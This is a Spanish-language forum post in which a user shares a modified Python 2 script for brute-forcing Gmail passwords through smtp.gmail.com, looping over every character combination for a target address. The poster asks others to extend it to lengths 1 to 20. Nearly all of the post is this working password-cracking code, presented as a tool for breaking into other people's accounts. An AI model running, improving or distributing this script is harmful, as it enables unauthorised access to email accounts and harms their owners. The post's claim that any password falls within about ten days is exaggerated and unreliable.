Buenas, el otro dia vi una script "creada" por un usuario del foro y la verdad esque no es que fuese muy bien y le he hecho unas cuantas modificaciones:
#! /usr/bin/env python
#-*- coding: utf-8 -*-
import smtplib
import sys
import os
import itertools
print """
__________ .___
\______ \_____ ______ ________ _ _____________ __| _/
| ___/\__ \ / ___// ___/\ \/ \/ / _ \_ __ \/ __ |
| | / __ \_\___ \ \___ \ \ ( <_> ) | \/ /_/ |
|____| (____ /____ >____ > \/\_/ \____/|__| \____ |
\/ \/ \/ \/
_________ __
\_ ___ \____________ ____ | | __ ___________
/ \ \/\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
\ \____| | \// __ \\ \___| <\ ___/| | \/
\______ /|__| (____ /\___ >__|_ \\___ >__|
\/ \/ \/ \/ \/ """
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print "Te doy la bienvenida y enhorabuena si estas usando esto, este es el programa mas avanzado de cracking de passwords de cualquier sitio web con infinitos intentos de contraseña. ESTE PROGRAMA HA SIDO CREADO POR 'JorgyMaster'"
user = raw_input("Correo a crackear")
# Minusculas abcdefghijklmnopqrstuvwxyz
# Mayusculas ABCDEFGHIJKLMNOPQRSTUVWXYZ
# Numeros 1234567890
# Especiales !"#$%&/()=?¡*[_:,;.-'¿
longitud = 8 #<----Aqui se podria poner para que pruebe contraseñas desde 1 caracter hasta los que tu quieras , pero he probado con range y me da error, si alguien puede dejar en el post como seria....
arreglo = list('Introduce los caracteres que creas que aparezcan, aqui')
combinaciones = itertools.product(arreglo, repeat=longitud)
for i in combinaciones:
password = ''.join(i)
try:
smtpserver.login(user, password)
print '----------------------CONTRASEÑA ENCONTRADA-------------------'
print 'La contraseña es: ' + password
break;
except smtplib.SMTPAuthenticationError:
print "Probando con la conraseña: " + password
sys.exit()
longitud = 8 #<----Aqui se podria poner para que pruebe contraseñas desde 1 caracter hasta los que tu quieras , pero he probado con range y me da error, si alguien puede dejar en el post como seria.... <--- Esto es una linea de codigo pero como ya he dicho nose como decirle que pruebe con una longitud de1 hasta 20 por ejemplo,
ALGUIEN ME LO PODRIA DEJAR ABAJO?Si tienes un bueno ordenador y alguien consigue poner lo de que pruebe contraseñas de 1 hasta 20 tendrias
CUALQUIER contraseña en maximo 1 semana y 3 dias trabajando a pleno rendimiento